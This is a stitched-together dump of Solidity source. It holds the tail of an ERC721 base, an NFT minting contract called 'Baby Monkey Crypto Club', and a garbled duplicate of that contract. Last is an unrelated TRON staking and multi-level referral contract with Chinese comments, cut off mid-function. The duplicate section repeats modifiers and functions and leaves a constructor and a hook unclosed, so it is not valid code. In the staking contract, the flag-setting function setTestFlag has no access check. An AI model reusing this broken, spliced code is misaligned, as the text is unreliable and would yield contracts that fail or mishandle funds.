* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: coven/vapes.sol
//SPDX-License-Identifier: MIT
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
pragma solidity ^0.8.0;
contract BMCC is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenCounter;
string private baseURI = "https://gateway.pinata.cloud/ipfs/QmSVqCbNUeFy9T5CYJZzgeQSNRfWPYMRzMTafR3YCsB7Sy";
address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
bool private isOpenSeaProxyActive = true;
uint256 public constant MAX_MINTS_PER_TX = 20;
uint256 public maxSupply = 4444;
uint256 public constant PUBLIC_SALE_PRICE = 0.02 ether;
uint256 public NUM_FREE_MINTS = 1000;
uint256 public MAX_FREE_PER_WALLET = 5;
bool public isPublicSaleActive = true;
// ============ ACCESS CONTROL/SANITY MODIFIERS ============
modifier publicSaleActive() {
require(isPublicSaleActive, "Public sale is not open");
_;
}
modifier maxMintsPerTX(uint256 numberOfTokens) {
require(
numberOfTokens <= txLimit(),
"Max mints per transaction exceeded"
);
_;
}
modifier canMintNFTs(uint256 numberOfTokens) {
require(
tokenCounter.current() + numberOfTokens <=
maxSupply,
"Not enough mints remaining to mint"
);
_;
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
if(tokenCounter.current()>NUM_FREE_MINTS){
require(
(price * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
}
_;
}
function txLimit() public view returns (uint256) {
if (tokenCounter.current() < NUM_FREE_MINTS) {
return MAX_FREE_PER_WALLET;
}
return MAX_MINTS_PER_TX;
}
constructor(
) ERC721("Baby Monkey Crypto Club", "BMCC") {
}
// ============ PUBLIC FUNCTIONS FOR MINTING ============
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
{
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, nextTokenId());
}
}
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function getBaseURI() external view returns (string memory) {
return baseURI;
}
function getLastTokenId() external view returns (uint256) {
return tokenCounter.current();
}
function totalSupply() external view returns (uint256) {
return tokenCounter.current();
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
// function to disable gasless listings for security in case
// opensea ever shuts down or is compromised
function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive)
external
onlyOwner
{
isOpenSeaProxyActive = _isOpenSeaProxyActive;
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
isPublicSaleActive = _isPublicSaleActive;
}
function setNumFreeMints(uint256 _numfreemints)
external
onlyOwner
{
NUM_FREE_MINTS = _numfreemints;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function withdrawTokens(IERC20 token) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
// ============ SUPPORTING FUNCTIONS ============
function nextTokenId() private returns (uint256) {
tokenCounter.increment();
return tokenCounter.current();
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Get a reference to OpenSea's proxy registry contract by instantiating
// the contract using the already existing address.
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (
isOpenSeaProxyActive &&
address(proxyRegistry.proxies(owner)) == operator
) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Nonexistent token");
return
string(abi.encodePacked(baseURI, "/", tokenId.toString(), ".json"));
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(_exists(tokenId), "Nonexistent token");
return (address(this), SafeMath.div(SafeMath.mul(salePrice, 10), 100));
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
|
File: coven/vapes.solSPDX-License-Identifier: MITContract based on [https:docs.openzeppelin.com/contracts/3.x/erc721](https:docs.openzeppelin.com/contracts/3.x/erc721) ============ ACCESS CONTROL/SANITY MODIFIERS ============
|
contract BMCC is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenCounter;
address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
bool private isOpenSeaProxyActive = true;
uint256 public constant MAX_MINTS_PER_TX = 20;
uint256 public maxSupply = 4444;
uint256 public constant PUBLIC_SALE_PRICE = 0.02 ether;
uint256 public NUM_FREE_MINTS = 1000;
uint256 public MAX_FREE_PER_WALLET = 5;
bool public isPublicSaleActive = true;
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
}
pragma solidity ^0.8.0;
modifier publicSaleActive() {
require(isPublicSaleActive, "Public sale is not open");
_;
}
modifier maxMintsPerTX(uint256 numberOfTokens) {
require(
numberOfTokens <= txLimit(),
"Max mints per transaction exceeded"
);
_;
}
modifier canMintNFTs(uint256 numberOfTokens) {
require(
tokenCounter.current() + numberOfTokens <=
maxSupply,
"Not enough mints remaining to mint"
);
_;
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
if(tokenCounter.current()>NUM_FREE_MINTS){
require(
(price * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
}
_;
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
if(tokenCounter.current()>NUM_FREE_MINTS){
require(
(price * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
}
_;
}
function txLimit() public view returns (uint256) {
if (tokenCounter.current() < NUM_FREE_MINTS) {
return MAX_FREE_PER_WALLET;
}
return MAX_MINTS_PER_TX;
}
constructor(
function txLimit() public view returns (uint256) {
if (tokenCounter.current() < NUM_FREE_MINTS) {
return MAX_FREE_PER_WALLET;
}
return MAX_MINTS_PER_TX;
}
constructor(
) ERC721("Baby Monkey Crypto Club", "BMCC") {
}
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
{
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, nextTokenId());
}
}
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
{
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, nextTokenId());
}
}
function getBaseURI() external view returns (string memory) {
return baseURI;
}
function getLastTokenId() external view returns (uint256) {
return tokenCounter.current();
}
function totalSupply() external view returns (uint256) {
return tokenCounter.current();
}
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive)
external
onlyOwner
{
isOpenSeaProxyActive = _isOpenSeaProxyActive;
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
isPublicSaleActive = _isPublicSaleActive;
}
function setNumFreeMints(uint256 _numfreemints)
external
onlyOwner
{
NUM_FREE_MINTS = _numfreemints;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function withdrawTokens(IERC20 token) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
function nextTokenId() private returns (uint256) {
tokenCounter.increment();
return tokenCounter.current();
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (
isOpenSeaProxyActive &&
address(proxyRegistry.proxies(owner)) == operator
) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (
isOpenSeaProxyActive &&
address(proxyRegistry.proxies(owner)) == operator
) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Nonexistent token");
return
string(abi.encodePacked(baseURI, "/", tokenId.toString(), ".json"));
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(_exists(tokenId), "Nonexistent token");
return (address(this), SafeMath.div(SafeMath.mul(salePrice, 10), 100));
}
}
| 15,252,259
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pragma solidity 0.5.8;
import "./ITRC20.sol";
import "./TRC20.sol";
import "./GDXToken.sol";
import "./Pausable.sol";
import "./Rank.sol";
import './Refer.sol';
////////////////////////////////////////////
// ┏┓ ┏┓
// ┏┛┻━━━┛┻┓
// ┃ ┃
// ┃ ━ ┃
// ┃ ＞ ＜ ┃
// ┃ ┃
// ┃ . ⌒ .. ┃
// ┃ ┃
// ┗━┓ ┏━┛
// ┃ ┃ Codes are far away from bugs
// ┃ ┃ with the animal protecting
// ┃ ┃
// ┃ ┃
// ┃ ┃
// ┃ ┃
// ┃ ┗━━━┓
// ┃ ┣┓
// ┃ ┏┛
// ┗┓┓┏━┳┓┏┛
// ┃┫┫ ┃┫┫
// ┗┻┛ ┗┻┛
////////////////////////////////////////////
contract Master is Pausable, Rank {
using SafeMath for uint256;
/////////////////////////////////////////////////////////
// for testnet
bool public flagTestNet = false;
function setTestFlag(bool flag) public returns (bool) {
flagTestNet = flag;
return flagTestNet;
}
/////////////////////////////////////////////////////////
struct ReferRecord {
address addr;
uint256 amount;
}
// 用户的持币挖矿信息
struct UserInfo {
uint256 amount; // How many GAMMA tokens the user has provided.
uint256 stakingPower; // 质押算力
uint256 referPower; // 推荐算力
uint256 minerPoolPower; // 矿主矿池算力
uint256 extraPower; // 持币算力加成
uint256 shares; // shares
uint256 rewardDebt; // Reward debt.
uint256 totalBonus; // 累计收益
uint256 unStakingAt; // 最近一次取回质押时间，用于计算算力加成
}
// 矿池信息
struct MinePool {
uint256 id; // 矿池id，对应minePoolInfo数组的索引
address owner; // 矿池owner，即创建矿池的人
bytes32 name; // 矿池名称
uint256 totalAmount; // 抵押的总GAMMA数量
uint256 totalPower; // 矿池总算力
uint256 totalAddress; // 总人数
uint256 totalBonus; // 总收益
bytes32 hash; // 开通矿池时的区块哈希
}
MinePool[] public minePoolInfo; // 保存所有的矿池信息，数组下标即矿池id
uint256 internal minePoolID = 1; // 矿池的自增索引，每次加1
// 矿主在矿池中的信息
struct UserMinePool {
uint256 id; // 矿池编号
uint256 amount; // 抵押到矿池的GDX数量
uint256 power; // 矿主的算力
uint256 shares; // 矿池挖矿的份额
uint256 rewardDebt;
uint256 totalBonus; // 矿主的矿池总收益
}
// 用户和所属矿池的映射，及矿主在矿池中的信息
mapping (address => UserMinePool) public userMinePoolInfo;
// 抵押挖矿池 和 矿主矿池
struct PoolInfo {
uint256 weight;
uint256 lastRewardBlock;
uint256 accGDXPerShare;
uint256 totalShares;
}
PoolInfo[] public poolInfo;
// The GDX， 子币
GDXToken public gdx;
// The GAMMA， 母币
address public gamma;
// GDX tokens created per block.
uint256 public gdxPerBlock = 729166; // 3秒一个区块，每天产出21000个
uint256 public minStakingGAMMA = 100e6; // 最低持币100个GAMMA
uint256 public totalPower; // 全网总算力
mapping (address => UserInfo) public userInfo;
// Reference percentage
mapping(address => ReferRecord[]) public referRecords;
Refer public refer;
mapping (address => uint256) public pendingReferPower; // unsettle refer power
uint256 constant LEVEL_3 = 3;
uint256 constant LEVEL_4 = 4;
uint256 constant LEVEL_5 = 5;
uint256 constant UPGRADE_REFER_COUNT = 3;
// 等级
mapping (address => uint256) public levelMapping;
// 获取用户的等级
function levelOf(address owner) public view returns (uint) {
return levelMapping[owner];
}
bool initialized;
// Events
event UpgradeLevel(address indexed user, uint256 level);
event Staking(address indexed user, uint256 amount);
event Unstaking(address indexed user, uint256 amount);
event StakingGDX(address indexed user, uint amount);
event UnstakingGDX(address indexed user, uint256 amount);
event WithdrawBonus(address indexed user);
event EmergencyWithdraw(address indexed user, uint256 amount);
// 构造函数
constructor (
GDXToken _gdx,
address _gamma,
Refer _refer
) public {
gdx = _gdx;
gamma = _gamma;
refer = _refer;
}
function init() public onlyOwner {
if (!initialized) {
// 抵押和矿池算力部分, 80%
poolInfo.push(PoolInfo({
weight:80,
lastRewardBlock:block.number,
accGDXPerShare:0,
totalShares:0
}));
// 矿池部分, 20%
poolInfo.push(PoolInfo({
weight:20,
lastRewardBlock:block.number,
accGDXPerShare:0,
totalShares:0
}));
// 0 矿池
minePoolInfo.push(MinePool({
id: 0,
owner: address(0),
name:0x64656661756c7400000000000000000000000000000000000000000000000000,
totalAmount:0,
totalPower:0,
totalAddress: 0,
totalBonus:0,
hash:blockhash(block.number.sub(1))
}));
// updateMinePoolRank(0, 0);
}
initialized = true;
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// 更新所有池子GDX收益
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 totalSupply = pool.totalShares;
if (totalSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
require(block.number >= pool.lastRewardBlock, "updatePool failed!");
uint256 multiplier = block.number.sub(pool.lastRewardBlock);
uint256 gdxReward = multiplier.mul(gdxPerBlock).mul(pool.weight).div(100);
gdx.mint(address(this), gdxReward);
pool.accGDXPerShare = pool.accGDXPerShare.add(gdxReward.mul(1e12).div(totalSupply));
pool.lastRewardBlock = block.number;
}
function updateUserStakingShares(address _usr) internal {
UserInfo storage user = userInfo[_usr];
PoolInfo storage pool = poolInfo[0];
uint256 preUsrShares = user.shares;
user.shares = user.stakingPower.add(user.extraPower).add(user.referPower).add(user.minerPoolPower);
user.rewardDebt = user.shares.mul(poolInfo[0].accGDXPerShare).div(1e12);
require(pool.totalShares.add(user.shares) >= preUsrShares, "updateUserStakingShares failed!");
pool.totalShares = pool.totalShares.add(user.shares).sub(preUsrShares);
}
function updateUserMingPower(address _usr, uint256 _miningPower) internal {
UserInfo storage user = userInfo[_usr];
PoolInfo storage pool = poolInfo[0];
uint256 preUsrShares = user.shares;
user.minerPoolPower = _miningPower;
user.shares = user.stakingPower.add(user.extraPower).add(user.referPower).add(user.minerPoolPower);
user.rewardDebt = user.shares.mul(poolInfo[0].accGDXPerShare).div(1e12);
require(pool.totalShares.add(user.shares) >= preUsrShares, "updateUserMingPower failed!");
pool.totalShares = pool.totalShares.add(user.shares).sub(preUsrShares);
}
// 获取用户未取回的GDX staking收益
function pendingGDXUser(address _user) public view returns (uint256) {
// pool 0
// staking bonus
UserInfo storage user = userInfo[_user];
PoolInfo storage pool = poolInfo[0];
uint256 stakingBonus;
uint256 accGDXRate = pool.accGDXPerShare;
uint256 totalShares = pool.totalShares;
if (totalShares == 0) {
stakingBonus = 0;
} else if (block.number > pool.lastRewardBlock) {
require(block.number >= pool.lastRewardBlock, "pendingGDXUser failed!");
uint256 multiplier = block.number.sub(pool.lastRewardBlock);
uint256 gdxReward = multiplier.mul(gdxPerBlock).div(90); // 区块产出的90%
accGDXRate = accGDXRate.add(gdxReward.mul(1e12).div(totalShares));
uint256 reward = user.shares.mul(accGDXRate).div(1e12);
require(reward >= user.rewardDebt, 'reward < user.rewardDebt');
stakingBonus = reward.sub(user.rewardDebt);
}
// pool 1
// mine pool bonus
uint256 pid;
bool isPoolOwner;
(pid, isPoolOwner) = getUserMinePoolID(_user);
if (pid == 0 || !isPoolOwner) { // 不是矿主
return stakingBonus;
}
pool = poolInfo[1];
UserMinePool storage mingPoolUser = userMinePoolInfo[_user];
uint256 miningPoolBonus = 0;
accGDXRate = pool.accGDXPerShare;
totalShares = pool.totalShares;
if (totalShares == 0) {
miningPoolBonus = 0;
} else if (block.number > pool.lastRewardBlock) {
uint256 multiplier = block.number.sub(pool.lastRewardBlock);
uint256 gdxReward = multiplier.mul(gdxPerBlock).div(10); // 区块产出的10%
accGDXRate = accGDXRate.add(gdxReward.mul(1e12).div(totalShares));
uint256 reward = mingPoolUser.shares.mul(accGDXRate).div(1e12);
require(reward >= mingPoolUser.rewardDebt, 'reward < user.rewardDebt');
miningPoolBonus = reward.sub(mingPoolUser.rewardDebt);
}
return stakingBonus.add(miningPoolBonus);
}
// 增加全网算力
function addTotalPower(uint256 value) internal {
totalPower = totalPower.add(value);
}
// 减少全网算力
function subTotalPower(uint256 value) internal {
if (totalPower < value) {
require(false, "total power < value");
}
totalPower = totalPower.sub(value);
}
// 计算直推算力，即amount的20%
function getReferPower(uint256 _amount, uint256 idx) internal pure returns (uint256) {
if (1 == idx) {
return _amount.mul(20).div(100);
} else {
return _amount.mul(4).div(100);
}
}
// 结算用户staking收益
function payStakingBonus(address usr) internal {
UserInfo storage user = userInfo[usr];
uint256 pid;
(pid,) = getUserMinePoolID(usr);
// 结算收益
if (user.shares > 0) {
uint256 reward = user.shares.mul(poolInfo[0].accGDXPerShare).div(1e12);
if (reward < user.rewardDebt) {
require(false, "reward < user.rewardDebt");
}
uint256 pending = reward.sub(user.rewardDebt);
if (pending > 0) {
safeGDXTransfer(usr, pending);
// 更新用户总收益
user.totalBonus = user.totalBonus.add(pending);
if (pid != 0) {
MinePool storage pool = minePoolInfo[pid];
// 更新矿池的总收益
pool.totalBonus = pool.totalBonus.add(pending);
}
}
}
}
function checkRefer(address upline, uint256 idx) internal view returns (bool) {
// // 矿主无限代
// bool isPoolOwner;
// (, isPoolOwner) = getUserMinePoolID(upline);
// if (isPoolOwner) {
// return true;
// }
// 根据V等级，判断拿多少代
uint256 level = getLevel(upline);
if (0 == level) { // V0 拿1代
return idx <= 1;
} else if (1 == level) { // V1 拿3代
return idx <= 3;
} else if (2 == level) { // V2拿6代
return idx <= 6;
} else { // V3 以上拿9代
return idx <= 9;
}
}
function updateReferPower(address account) public {
UserInfo storage user = userInfo[account];
payStakingBonus(account);
user.extraPower = getExtraPower(account);
updateUserStakingShares(account);
}
// 存入GAMMA， 开启持币算力挖矿
function staking(uint256 _amount, address referrer) public {
require(_amount > 0, "staking amount must > 0");
address sender = msg.sender;
UserInfo storage user = userInfo[sender];
massUpdatePools();
// 结算在此之前的收益
payStakingBonus(sender);
// 转移GAMMA
require(ITRC20(gamma).transferFrom(sender, address(this), _amount), "deposit transfer failed");
// 更新用户质押份额
user.amount = user.amount.add(_amount);
user.stakingPower = user.stakingPower.add(_amount);
// 更新持币周期加成
if (user.unStakingAt == 0) {
user.unStakingAt = block.timestamp;
}
user.extraPower = getExtraPower(sender);
updateUserStakingShares(sender);
// 更新总算力
addTotalPower(_amount);
// 记录推荐关系
refer.submitRefer(msg.sender, referrer);
// 更新推荐人算力
// 最多向上更新9代
address referee = sender;
address upline = refer.getReferrer(referee);
for (uint256 i = 1; i <= 9; i++) {
if (address(0) == upline) {
break;
}
bool flag = checkRefer(upline, i);
if (flag) {
UserInfo storage ref = userInfo[upline];
// 结算推荐人收益
payStakingBonus(upline);
uint256 extraPower = getReferPower(_amount, i); // 推荐人获得直推算力20%加成
ref.referPower = ref.referPower.add(extraPower);
updateUserStakingShares(upline);
// 更新总算力
addTotalPower(extraPower);
if (i == 1) {
// 推荐记录
// 只记录直推记录
referRecords[upline].push(ReferRecord({
addr:sender,
amount:_amount
}));
}
}
referee = upline;
upline = refer.getReferrer(referee);
}
emit Staking(sender, _amount);
// 更新矿池
uint256 pid;
bool isOwner;
(pid, isOwner) = getUserMinePoolID(sender);
if (pid != 0) { // 矿池存在
MinePool storage minePool = minePoolInfo[pid];
if (!isOwner) { // 不是矿主
uint256 extraPower = getMinePoolAddition(getLevel(sender)).mul(_amount).div(1000);
minePool.totalPower = minePool.totalPower.add(extraPower);
} else { // 矿主
minePool.totalPower = minePool.totalPower.add(_amount);
}
updateUserMingPower(minePool.owner, minePool.totalPower);
}
}
// 取回GAMMA和GDX收益，结束持币算力挖矿
function unstaking(uint256 _amount) public {
require(_amount > 0, "unstaking amount must > 0");
address sender = msg.sender;
UserInfo storage user = userInfo[sender];
if (user.amount < _amount) {
require(false, "user amount xxxxxx");
}
if (user.stakingPower < _amount) {
require(false, "user staking power error!");
}
// 更新staking池
updatePool(0);
// 结算在此之前的收益
payStakingBonus(sender);
if (ITRC20(gamma).balanceOf(address(this)) < _amount) {
require(false, "master contract gamma insufficient!!");
}
// 返还质押的GAMMA
require(ITRC20(gamma).transfer(address(sender), _amount), "withdraw transfer failed");
// 更新用户质押份额
user.amount = user.amount.sub(_amount);
user.stakingPower = user.stakingPower.sub(_amount);
// 更新用户质押权重
user.extraPower = getExtraPower(sender);
user.unStakingAt = block.timestamp;
updateUserStakingShares(sender);
// 减少全网算力
subTotalPower(_amount);
// 更新推荐算力
address referr = refer.getReferrer(sender);
UserInfo storage ref = userInfo[referr];
if (address(0) != referr) {
payStakingBonus(referr);
uint256 referPower = getReferPower(_amount, 1); // 推荐人获得直推算力20%加成
if (ref.referPower < referPower) {
require(false, "ref.referPower < referPower");
}
if (ref.shares < referPower) {
require(false, "ref.shares < referPower");
}
ref.referPower = ref.referPower.sub(referPower);
updateUserStakingShares(referr);
// 减少全网算力
subTotalPower(referPower);
}
// 更新矿池
uint256 pid;
bool isOwner;
(pid, isOwner) = getUserMinePoolID(sender);
if (pid != 0) { // 矿池存在
MinePool storage minePool = minePoolInfo[pid];
if (!isOwner) { // 不是矿主
uint256 extraPower = getMinePoolAddition(getLevel(sender)).mul(_amount).div(1000);
require(minePool.totalPower >= extraPower, "unstaking: totalPower < extraPower");
minePool.totalPower = minePool.totalPower.sub(extraPower);
} else { // 矿主
require(minePool.totalPower >= _amount, "unstaking: totalPower < _amount");
minePool.totalPower = minePool.totalPower.sub(_amount);
}
updateUserMingPower(minePool.owner, minePool.totalPower);
}
emit Unstaking(msg.sender, _amount);
}
// 取回所有挖矿收益GDX，包括质押和矿池收益
function withdrawBonus() public {
address sender = msg.sender;
UserInfo storage user = userInfo[sender];
// 更新全局收益GDX
massUpdatePools();
// 取回收益GDX
payStakingBonus(sender);
user.rewardDebt = user.shares.mul(poolInfo[0].accGDXPerShare).div(1e12);
if (user.unStakingAt == 0) {
user.unStakingAt = block.timestamp;
}
updateUserStakingShares(sender);
// 取回矿池收益
uint256 pid;
bool isOwner;
(pid, isOwner) = getUserMinePoolID(sender);
if (isOwner) {
payMinePoolOwnerBonus(pid, sender);
UserMinePool storage pool = userMinePoolInfo[sender];
pool.rewardDebt = pool.shares.mul(poolInfo[1].accGDXPerShare).div(1e12);
updateUserMingPower(sender,minePoolInfo[pid].totalPower);
}
emit WithdrawBonus(msg.sender);
}
// 创建矿池, 并质押一定数量的GAMMA
function createPool(bytes32 name, uint256 amount) public returns (bool) {
address sender = msg.sender;
uint256 level = levelMapping[sender];
require(level >= LEVEL_3, "level error");
if (level == LEVEL_3) {
require(amount >= 3000e6, "V3 need 3000 GDX");
}
if (level == LEVEL_4) {
require(amount >= 5000e6, "V4 need 5000 GDX");
}
if (level == LEVEL_5) {
require(amount >= 6000e6, "V5 need 6000 GDX");
}
bool isPoolOwner;
(, isPoolOwner) = getUserMinePoolID(sender);
require(!isPoolOwner, "pool already exist");
// 转移GDX
require(gdx.transferFrom(sender, address(this), amount), "createPool: transfer failed");
// 统计矿池算力
address[] memory list = getReferList(sender);
uint256 poolAmount = getUsrMiningPower(sender);
for (uint256 i = 0; i < list.length; i++) {
address addr = list[i];
uint256 amnt = userInfo[addr].amount;
poolAmount = poolAmount.add(amnt);
}
uint256 poolID = getNewPoolID();
// 创建矿池
minePoolInfo.push(MinePool({
id: poolID,
owner: sender,
name:name,
totalAmount: poolAmount,
totalPower: poolAmount,
totalAddress: list.length.add(1),
totalBonus:0,
hash:blockhash(block.number.sub(1))
}));
// 添加矿池排名
updateMinePoolRank(poolID, amount);
// 保存 <用户 -> 矿池> 信息
uint256 miningPower = getMinePoolAddition(getLevel(sender)).mul(poolAmount).div(1000);
userMinePoolInfo[sender] = UserMinePool({
id: poolID,
amount:amount,
power:miningPower,
shares:amount,
rewardDebt: 0,
totalBonus:0
});
// 结算质押收益
massUpdatePools();
payStakingBonus(sender);
// 更新周期加成
UserInfo storage user = userInfo[sender];
user.extraPower = getExtraPower(sender);
updateUserStakingShares(sender);
return true;
}
// 更新矿池排名
function updateMinePoolRank(uint256 poolID, uint256 power) internal {
updateRank(poolID, power);
}
// 获取下一个矿池的id
function getNewPoolID() internal returns (uint256 id) {
id = minePoolID;
minePoolID = minePoolID.add(1);
}
function payMinePoolOwnerBonus(uint256 pid, address owner) internal {
MinePool storage pool = minePoolInfo[pid];
UserMinePool storage user = userMinePoolInfo[owner];
require(pool.owner == owner, "can only pay bonus to pool owner");
// 结算收益
if (user.shares > 0) {
uint256 reward = user.shares.mul(poolInfo[1].accGDXPerShare).div(1e12);
if (reward < user.rewardDebt) {
require(false, "payMinePoolOwnerBonus: reward < user.rewardDebt");
}
uint256 pending = reward.sub(user.rewardDebt);
if (pending > 0) {
safeGDXTransfer(owner, pending);
// 统计信息
// 更新矿主的矿池总收益
user.totalBonus = user.totalBonus.add(pending);
// 更新矿池的总收益
pool.totalBonus = pool.totalBonus.add(pending);
}
}
}
// 增加矿池质押, 并质押一定数量的GDX
// 需要先开通矿池，否则无法质押GDX
function stakingGDX(uint256 amount) public returns (bool) {
address sender = msg.sender;
uint256 pid;
bool isPoolOwner;
(pid, isPoolOwner) = getUserMinePoolID(sender);
if (!isPoolOwner) {
return false;
}
MinePool storage pool = minePoolInfo[pid];
// 检查是否为矿主
require(pool.owner == sender, "only pool owner can operate");
// 转移GDX
require(gdx.transferFrom(sender, address(this), amount), "stakingGDX: transfer failed");
// 分配矿池收益
updatePool(1);
// 结算矿主收益
payMinePoolOwnerBonus(pid, sender);
// 更新用户信息
UserMinePool storage user = userMinePoolInfo[sender];
user.id = pid;
user.amount = user.amount.add(amount);
user.shares = calcUsrMingPoolShares(sender, user.amount);
user.rewardDebt = user.shares.mul(poolInfo[1].accGDXPerShare).div(1e12);
// 更新矿池排名
updateMinePoolRank(pid, user.amount);
emit StakingGDX(sender, amount);
return true;
}
function calcUsrMingPoolShares(address _usr, uint256 _amount) internal view returns (uint256) {
uint256 levl = getLevel(_usr);
if (3 == levl) {
return _amount.mul(5);
} else if (4 == levl) {
return _amount.mul(3);
} else if (5 == levl) {
return _amount.mul(2);
}
return _amount;
}
// 解除矿池质押的GDX
function unstakingGDX(uint256 amount) public returns (bool) {
address sender = msg.sender;
uint256 pid;
bool isPoolOwner;
(pid, isPoolOwner) = getUserMinePoolID(sender);
require(pid != 0 && isPoolOwner, "no pool or not pool owner");
MinePool storage pool = minePoolInfo[pid];
UserMinePool storage user = userMinePoolInfo[sender];
// 检查是否为矿主
require(pool.owner == sender, "only pool owner can operate");
require(user.amount >= amount, "unstaking amount too large than user");
// 分配矿池收益
updatePool(1);
// 结算矿主收益
payMinePoolOwnerBonus(pool.id, sender);
require(gdx.transfer(msg.sender, amount), "unstakingGDX: transfer failed");
// 更新用户信息
user.amount = user.amount.sub(amount);
